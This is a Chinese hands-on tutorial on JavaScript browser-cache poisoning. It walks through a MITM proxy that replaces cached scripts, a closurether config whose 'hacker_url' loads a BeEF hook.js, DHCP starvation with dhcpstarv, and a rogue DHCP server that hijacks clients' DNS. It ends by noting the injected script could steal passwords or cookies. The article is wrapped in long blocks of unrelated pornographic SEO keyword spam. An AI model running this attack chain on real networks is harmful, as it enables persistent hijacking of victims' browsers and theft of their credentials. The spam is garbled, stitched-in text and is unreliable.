精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Javascript緩存投毒學(xué)習(xí)與實(shí)戰(zhàn)

安全 應(yīng)用安全
js緩存投毒說白了就是受害者的瀏覽器緩存了一個(gè)被我們篡改的js腳本,如果緩存沒有被清除,每次這個(gè)受害者訪問網(wǎng)頁的時(shí)候都會(huì)加載我們的js腳本。

0x00 起因

不久前@三好學(xué)生師傅買了一個(gè)wooyun wifi,然后聊到了緩存投毒:

 

Alt text

 

然后看到wooyun wifi的這個(gè)說明:

默認(rèn)情況下該功能附帶緩存投毒功能,將視圖緩存所有的頁面至2099年,您可以通過清除所有緩存以及瀏覽器數(shù)據(jù)來清除緩存投毒的影響。

覺得這是個(gè)很不錯(cuò)的技術(shù),所以查詢谷爺,度娘,拜讀了@EtherDream 大牛寫的文章以后,就有了這篇文章,也算是一個(gè)總結(jié)。

0x01 簡介&原理

js緩存投毒說白了就是受害者的瀏覽器緩存了一個(gè)被我們篡改的js腳本,如果緩存沒有被清除,每次這個(gè)受害者訪問網(wǎng)頁的時(shí)候都會(huì)加載我們的js腳本。

那他是什么原理呢,很簡單,其實(shí)就是瀏覽器的緩存機(jī)制,通常,為了加速各種靜態(tài)資源的訪問,各大網(wǎng)站會(huì)把一些靜態(tài)資源緩存到客戶端,這樣一方面能提高客戶體驗(yàn),一方面也能減輕web服務(wù)器的壓力。

瀏覽器緩存控制機(jī)制有兩種:HTML Meta標(biāo)簽 以及 HTTP頭信息,通常,web開發(fā)者可以在HTML頁面的head節(jié)點(diǎn)中加入Meta標(biāo)簽,比如:

 

  1. <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 

 

代碼的作用是告訴瀏覽器當(dāng)前頁面不被緩存,每次訪問都需要去服務(wù)器拉取。 更多瀏覽器緩存機(jī)制我就不多說了,詳情請(qǐng)戳我。

要想預(yù)加載并緩存一個(gè)腳本很容易,只需new Image().src=''。當(dāng)然有少數(shù)瀏覽器不支持,不過ie和chrome都是支持的。盡管js文件并不是一個(gè)圖片,但仍然會(huì)緩存。

0x02 準(zhǔn)備工作

安裝node

wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下載

tar zxvf node-master.zip //解壓

cd node-master

./configure

make //編譯

make install //安裝

安裝closurether

npm install -g closurether

安裝phantomjs

下載安裝,具體詳見phantomjs,根據(jù)自己的系統(tǒng)進(jìn)行選擇。

0x03 示例

測試過程中,使用了EtherDream大牛的demo。具體過程如下。

下載安裝:

root@kali:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js
root@kali:~/Desktop/# cd js
root@kali:~/Desktop/js/# npm install

更新緩存列表

root@kali:~/Desktop/js# cd tool/
root@kali:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

 

Alt text

 

這個(gè)腳本的作用主要是為了找出各大網(wǎng)站中緩存最久的腳本資源,也就是我們要進(jìn)行投毒的腳本鏈接。網(wǎng)站可以再url.txt里面添加,之后將生成的json復(fù)制到 asset 目錄。

root@kali:~/Desktop/js/tool# cp -fr target.json ../asset/

運(yùn)行

root@kali:~/Desktop/js/tool# cd ..
root@kali:~/Desktop/js# node index.js

測試:

瀏覽器代理 HTTP -> 127.0.0.1:8080 訪問任意 HTTP。

 

Alt text

 

關(guān)閉代理 打開126,360等網(wǎng)站(chrome測試成功,火狐失敗)成功彈框。

 

Alt text

 

關(guān)閉瀏覽器(不清除緩存),再次打開,訪問360時(shí)依然會(huì)彈框。

其中,index.js實(shí)現(xiàn)了代理并替換原本靜態(tài)腳本響應(yīng)內(nèi)容,并將響應(yīng)頭中Cache-Control字段改為max-age=31536000,如下圖代碼:

 

Alt text

 

而替換的腳本為asset目錄下的stub.js,stub.js注入外部js關(guān)鍵代碼如下圖:

 

Alt text

 

其中www.etherdream.com/hack/trojan.js 為我們可控的js,上例中該js的內(nèi)容為

alert('xss run: ' + location.href);

我們可以通過修改該腳本內(nèi)容來實(shí)現(xiàn)不同的功能。

0x04 實(shí)戰(zhàn)

此次實(shí)戰(zhàn)在局域網(wǎng)中結(jié)合使用了dhcpstarv,isc-dhcp-server,beef以及closurether。攻擊機(jī)使用了kali2.0。

1.開啟beef

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss# ./beef

2.配置closurether

獲取最新的緩存列表

root@kali:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer
root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer# phantomjs sniffer.js

可以通過修改url.txt的內(nèi)容來指定網(wǎng)站,此次測試過程中url中包含126以及360幾個(gè)網(wǎng)站。 配置config.json文件如下:

{
        "hacker_url": "http://192.168.1.108:3000/hook.js",
        "inject_url": "http://10086.cn/js10086/201306301200.js",
        "debug": false,
        "dump": false,
        "dumpPath": "./dump/"
}

其中hacker_url為我們的js地址,此處為beef的js地址,inject_url 為偽裝的js地址。

運(yùn)行closurether:

root@kali:~# closurether
[SYS] local ip: 192.168.1.108
[DNS] running 0.0.0.0:53
[WEB] listening :::80
[WEB] listening :::443

2.進(jìn)行dhcp攻擊:

下載dhcpstarv,安裝:

root@kali:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz
root@kali:~/Desktop# cd dhcpstarv-0.2.1/
root@kali:~/Desktop/dhcpstarv-0.2.1# ./configure
root@kali:~/Desktop/dhcpstarv-0.2.1# make
root@kali:~/Desktop/dhcpstarv-0.2.1# make install

Kali默認(rèn)沒有安裝dhcpstarv,也可以用yersinia代替

安裝dhcp服務(wù)器:

root@kali:~# apt-get install isc-dhcp-server

修改dhcp配置文件dhcpd.conf

root@kali:~# cd /etc/dhcp/
root@kali:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak
root@kali:/etc/dhcp# vim dhcpd.conf

修改DHCP分配的地址池,修改默認(rèn)路由為原來路由的Ip,修改廣播地址:

 

Alt text

 

設(shè)置dns為開啟了closurether的地址,如下圖:

 

Alt text

 

這里最好加一個(gè)正常的DNS服務(wù)器地址最為備選,防止我們的DNS服務(wù)對(duì)部分域名不解析

開啟操作系統(tǒng)的路由轉(zhuǎn)發(fā):

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

啟動(dòng)DHCP服務(wù):

root@kali:/etc/dhcp# service isc-dhcp-server start

攻擊正常的dhcp服務(wù)器,耗光ip資源:

root@kali:~# dhcpstarv -i eth0 -e 192.168.1.108

-e參數(shù)后面跟攻擊者的ip

 

Alt text

 

然后當(dāng)有客戶端連入的時(shí)候,由于正常的DHCP服務(wù)器已經(jīng)沒有可分配的IP資源,新的內(nèi)網(wǎng)主機(jī)就會(huì)使用攻擊者DHCP服務(wù)器分配的IP,如下圖:

 

Alt text

 

可以看到DNS已經(jīng)改成了我們想要改的地址。

這里說明下,如果可以直接進(jìn)路由修改DNS,就直接進(jìn)路由改,這樣比較穩(wěn)定,修改DNS為我們運(yùn)行closurether的地址。

主要工具運(yùn)行截圖:

 

Alt text

 

這時(shí),被篡改DNS的客戶端瀏覽網(wǎng)站的時(shí)候,就會(huì)運(yùn)行我們植入的JS腳本,打開126以后,可以看到beef那里已經(jīng)成功上線了:

 

Alt text

 

而我們的js則已經(jīng)被隱藏為10086的js

 

Alt text

 

將路由器重啟,使用正常的DHCP為虛擬機(jī)分配ip地址,使用瀏覽器(未清理緩存)打開360:

 

Alt text

 

這時(shí)可以看到beef上又上線了:

 

Alt text

 

beef的功能很強(qiáng)大,但不是本文的重點(diǎn),當(dāng)然js也可以換成其他,別如竊取某些網(wǎng)站的賬號(hào)密碼的js,或者獲取客戶端cookie的等等,這里就不多說了

這樣就達(dá)到了時(shí)光機(jī)的效果,雖然上網(wǎng)環(huán)境換了,但是由于瀏覽器的緩存沒有清除,任然會(huì)執(zhí)行我們的js,至此整個(gè)攻擊完成。

0x05 總結(jié)

從上面的整個(gè)過程可以得出的結(jié)論就是不要隨意通過不認(rèn)識(shí)的wifi上網(wǎng)!

責(zé)任編輯:藍(lán)雨淚 來源: 烏云知識(shí)庫
相關(guān)推薦

2015-11-11 14:54:35

網(wǎng)絡(luò)·安全技術(shù)周刊

2019-03-20 08:00:00

DNS緩存欺騙惡意軟件

2010-11-09 17:19:41

2019-02-21 09:00:40

2024-06-18 08:31:33

2022-01-26 10:09:25

安全漏洞掃描工具緩存投毒漏洞

2025-07-21 06:15:00

漏洞拒絕服務(wù)攻擊網(wǎng)絡(luò)安全

2023-05-05 06:13:51

分布式多級(jí)緩存系統(tǒng)

2010-03-03 14:47:41

2022-03-09 18:54:30

HTTP緩存協(xié)議cache

2025-03-26 03:25:00

SpringGuavaCaffeine

2025-09-18 08:42:30

2015-11-12 09:32:03

Javascript設(shè)計(jì)模式

2015-11-03 09:43:43

avascript設(shè)計(jì)模式工廠模式

2020-07-29 09:13:28

JavaScript開發(fā)技術(shù)

2015-11-25 11:10:45

Javascript設(shè)計(jì)觀察

2020-06-18 09:16:20

JavaScript緩存API

2021-04-21 21:09:36

緩存系統(tǒng)高可用

2018-04-23 11:11:52

數(shù)據(jù)挖掘機(jī)器學(xué)習(xí)Python

2019-11-21 14:01:37

Python數(shù)據(jù)挖掘機(jī)器學(xué)習(xí)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

亚洲综合视频网站| 成年在线观看视频| 夜夜躁日日躁狠狠久久av| 人人狠狠综合久久亚洲婷| 欧美日韩国产一二三| 三级在线免费观看| 欧洲毛片在线| 国精产品一区一区三区mba视频 | 欧美在线精品一区| 欧美精品乱码久久久久久| 欧美亚洲色图视频| 懂色一区二区三区| 成人午夜在线视频| 国产精品人人做人人爽| 久久精品亚洲无码| 日韩国产专区| 日韩精品在线免费观看| 亚洲精品一二三四| 在线成人视屏 | 国产av不卡一区二区| 亚洲欧美日韩精品永久在线| 精品一区二区三区av| 欧美一级黑人aaaaaaa做受| 男人av资源站| 欧美日韩中文一区二区| 日韩成人网免费视频| 亚洲视频在线不卡| 欧美视频免费看| 色系网站成人免费| 无码专区aaaaaa免费视频| 日本中文字幕在线观看| 国产视频一区二区在线| 国产一区二区三区四区五区在线| 一区二区国产欧美| 美女任你摸久久| 91精品成人久久| 精品无码黑人又粗又大又长| 婷婷伊人综合| 在线日韩av观看| 国产美女免费网站| 任你躁在线精品免费| 日韩精品资源二区在线| 手机在线免费毛片| 国产精品亚洲欧美日韩一区在线| 欧美色图一区二区三区| 天天爽天天爽夜夜爽| 手机在线理论片| 狠狠色狠色综合曰曰| 国产九九九九九| 2021天堂中文幕一二区在线观| 亚洲欧美一区二区不卡| 日韩欧美亚洲区| 懂色av中文在线| 国产精品伦一区二区三级视频| 日本精品一区| 99riav在线| 国产精品伦理一区二区| 日韩 欧美 自拍| h网站久久久| 亚洲一区二区黄色| 亚洲一区二区三区av无码| 污的网站在线观看| 亚洲成人一区在线| 欧美三级在线观看视频| 少妇在线看www| 色综合中文字幕| 男女爽爽爽视频| **精品中文字幕一区二区三区| 韩国精品视频在线观看| 国产高清精品网站| 99久久精品免费看国产四区 | 免费看欧美美女黄的网站| 国产精品网红直播| 国产三级小视频| 丁香六月久久综合狠狠色| 国产伦精品一区二区三区照片| 视频一区二区三区国产| 国产色91在线| 日韩视频在线观看视频| 久久五月精品中文字幕| 精品久久久一区| 欧美日韩怡红院| 四虎地址8848精品| 精品91自产拍在线观看一区| 亚洲永久精品ww.7491进入| 九九亚洲精品| 久久人体大胆视频| 日韩av在线电影| 日韩不卡手机在线v区| 91沈先生在线观看| 四虎精品一区二区三区| 欧美国产激情二区三区| 999久久欧美人妻一区二区| 国产拍在线视频| 精品视频999| 国产国语老龄妇女a片| 亚洲小说图片| 欧美人与性动交a欧美精品| 国产免费av一区| 国内精品国产三级国产a久久| 国产日韩欧美一区二区三区四区| av在线播放av| 婷婷久久综合九色综合绿巨人 | 亚洲精品美女在线观看播放| 久久久久久久久久久久| 欧美成人综合| 国产成人一区二区在线| 亚洲av综合色区无码一区爱av| 久久综合久久综合亚洲| av 日韩 人妻 黑人 综合 无码| 黄色亚洲网站| 精品国内二区三区| 日日操免费视频| 国产精品嫩草99av在线| 亚洲精品女av网站| 国产福利免费在线观看| 亚洲香蕉伊在人在线观| 国产三级三级看三级| 天海翼亚洲一区二区三区| 美女扒开尿口让男人操亚洲视频网站| 性色av免费观看| 成人精品小蝌蚪| 一区二区三区av| 午夜日韩成人影院| 精品处破学生在线二十三| 男人天堂资源网| 欧美亚洲一区二区三区| 激情一区二区三区| 伊人影院蕉久影院在线播放| 欧美日韩视频在线一区二区| 香蕉网在线播放| 精品999网站| 亚洲一区二区三区在线免费观看| 蜜桃视频在线观看网站| 亚洲电影一区二区三区| 国产精品偷伦视频免费观看了| 国产精品久久久久久影院8一贰佰 国产精品久久久久久麻豆一区软件 | 免费国产精品视频| 亚洲伦理在线精品| 亚洲视频一区二区免费在线观看| 综合操久久久| 欧美久久久网站| 最近2019年中文视频免费在线观看| 欧美特黄aaaaaa| 成人性生交大片免费看中文网站| 亚洲第一综合网站| 成人综合日日夜夜| 美乳少妇欧美精品| 国产99对白在线播放| 亚洲日本一区二区| 97超碰免费在线观看| 伊人色**天天综合婷婷| 亚洲a中文字幕| 丝袜在线视频| 亚洲精品大尺度| 国产视频91在线| 久久日一线二线三线suv| www.浪潮av.com| 久久av电影| 国产精品99久久久久久白浆小说| 国产在线你懂得| 欧美自拍偷拍午夜视频| 久操视频在线观看免费| 麻豆精品一区二区综合av| 亚洲人体一区| 欧美另类中文字幕| 欧美激情图片区| 嫩草影院一区二区| 欧美性猛交xxxx乱大交| 一区二区三区伦理片| 美国一区二区三区在线播放| 在线观看一区二区三区三州| 欧美日韩午夜电影网| 国内久久久精品| 欧美香蕉爽爽人人爽| 欧美三区免费完整视频在线观看| 亚洲av无一区二区三区| 国产精品一卡二| 欧美老熟妇喷水| 成人6969www免费视频| 91免费的视频在线播放| av小说在线播放| 国产一区二区日韩| 国产美女无遮挡永久免费| 亚洲成人av福利| 免费视频91蜜桃| 国产精品1区2区3区在线观看| 日韩国产欧美亚洲| 日韩理论电影大全| 成人18视频| 蜜桃成人精品| 不卡av在线网站| 日韩精品系列| 欧美一区二区三区成人| 国产乱国产乱老熟| 日韩一区中文字幕| 疯狂揉花蒂控制高潮h| 久久精品国产精品亚洲精品| 在线播放精品一区二区三区| 日本xxxx免费| 日日骚欧美日韩| 成人免费看片'免费看| 精品国产精品国产偷麻豆| 99久久精品久久久久久ai换脸| 神马久久资源| 欧美激情第一页xxx| 69久久久久| 亚洲韩国青草视频| 99久久亚洲精品日本无码| 欧美三级免费观看| 九九在线观看视频| 国产精品麻豆99久久久久久| 好吊日免费视频| 国产成人啪免费观看软件| 一区二区三区国产免费| 亚洲美女少妇无套啪啪呻吟| 麻豆md0077饥渴少妇| 久久不见久久见国语| 国产精品美女黄网| 精品国产18久久久久久二百| 国产精品精品视频一区二区三区| 91黄页在线观看| 欧美xxxx18性欧美| 自拍视频在线网| 亚洲日韩中文字幕| 午夜小视频在线播放| 日韩视频一区在线观看| ,亚洲人成毛片在线播放| 色狠狠色狠狠综合| 天天综合网入口| 午夜精品福利视频网站| 久久这里只有精品国产| 亚洲欧美激情一区二区| a一级免费视频| 国产精品美女久久久久av爽李琼 | 国产精品毛片一区二区在线看舒淇 | 日韩av最新在线| 亚洲精品国产一区二| 日韩一区二区三区三四区视频在线观看 | 色一情一交一乱一区二区三区| 成人美女在线观看| 在线看免费毛片| 激情欧美日韩一区二区| 91高清国产视频| 看国产成人h片视频| 91欧美视频在线| 九一九一国产精品| 尤物国产在线观看| 久久成人羞羞网站| 91高清国产视频| 国产乱码精品一品二品| 国产人妻精品久久久久野外| 国产综合久久久久影院| 99视频在线观看视频| 国产一区二区三区观看| 国产成人精品综合久久久久99| 国产成人精品一区二| 人妻精油按摩bd高清中文字幕| 极品尤物av久久免费看| 国产男女无遮挡猛进猛出| 国产乱码精品一区二区三| 亚洲日本久久久| 97久久精品人人做人人爽50路| 免费在线观看成年人视频| 久久久久国产精品麻豆ai换脸 | 国产精品久久占久久| www.亚洲一区二区| 国产精品videosex极品| 91成人在线观看喷潮教学| 久久视频一区| 看看黄色一级片| 自拍在线观看| 欧美美女一区二区三区| 国产黄a三级三级三级| 亚洲国产福利在线| 国产一二三区在线视频| 精品国产欧美一区二区五十路| 日本三级在线观看网站| 日本视频久久久| 高清久久一区| 精品国产乱码一区二区三区四区 | 亚洲天堂色网站| 欧美被日视频| 国模极品一区二区三区| 日韩国产网站| 99高清视频有精品视频| 亚洲素人在线| 国产香蕉一区二区三区| 亚洲欧美久久| 91香蕉视频免费看| 91丨九色丨蝌蚪丨老版| 国产精品99久久久久久成人| 亚洲图片有声小说| 中文字幕第一页在线播放| 精品欧美一区二区久久| 91精品国产91久久久久游泳池| 久久99国产精品自在自在app| 韩漫成人漫画| 成人看片视频| 久久理论电影| 国产福利视频在线播放| 国产麻豆精品视频| 性欧美一区二区| 午夜精品福利在线| 草逼视频免费看| 在线观看不卡av| 日本黄色免费在线| 99在线热播| 欧美好骚综合网| 国产男女激情视频| 波多野结衣精品在线| 神马久久精品综合| 在线观看不卡一区| 亚洲av激情无码专区在线播放| 久精品免费视频| 99只有精品| 欧美黑人3p| 99热精品在线| 最新版天堂资源在线| 亚洲欧美日韩国产手机在线| 日本黄色中文字幕| 日韩精品视频观看| av免费在线视| 91青青草免费在线看| 久久久久国产| 中文字幕国内自拍| 久久精品无码一区二区三区| 一级片免费网址| 337p日本欧洲亚洲大胆精品| 性欧美videos高清hd4k| 国产日韩欧美日韩| 色135综合网| 国产一区二区在线免费播放| 国产片一区二区| 一级做a爰片久久毛片| 亚洲欧美三级伦理| 国偷自产一区二区免费视频| 久久99精品国产99久久| 极品日韩av| 呦呦视频在线观看| 欧美日韩一区二区三区| 亚洲av成人精品日韩在线播放| 国内精品小视频在线观看| 国产精品香蕉| 噜噜噜久久亚洲精品国产品麻豆| gogo大胆日本视频一区| 国产精品.www| 亚洲国产精品一区二区三区| 91高清视频在线观看| 九色91在线视频| 久久国产精品毛片| 一级黄色性视频| 欧美高清一级片在线| av网站在线免费| av一区和二区| 亚洲视频www| 免费网站在线高清观看| 欧美喷潮久久久xxxxx| 老司机精品视频在线观看6| 91精品视频专区| 国产综合自拍| 亚洲观看黄色网| 色呦呦国产精品| 欧美三级黄网| 粉嫩av免费一区二区三区| 日韩午夜精品| 日本理论中文字幕| 67194成人在线观看| 欧美aaaaaaa| 欧美一区二区在线| 极品少妇xxxx精品少妇| 欧美亚洲日本黄色| 成人国产网站| 波多野结衣与黑人| 不卡视频在线看| 国产成人a v| 欧美成在线观看| 香蕉久久夜色精品国产更新时间| 校园春色 亚洲色图| 一区二区三区欧美日韩| 水中色av综合| 成人福利视频网| 亚洲在线观看| 日韩在线观看免| 亚洲成人黄色在线观看| 日本精品在线一区| 成人黄色片免费| 久久久久久毛片| 国产按摩一区二区三区| 欧美在线日韩在线| 亚洲mv大片欧洲mv大片| 三级黄色片网站| 91精品久久久久久蜜臀| 日韩伦理福利| 中文字幕一区二区三区四区五区人 | 亚洲乱亚洲乱妇| 国产欧美综合精品一区二区| 免费成人在线影院| 久久久久久久极品| 久久成人亚洲精品|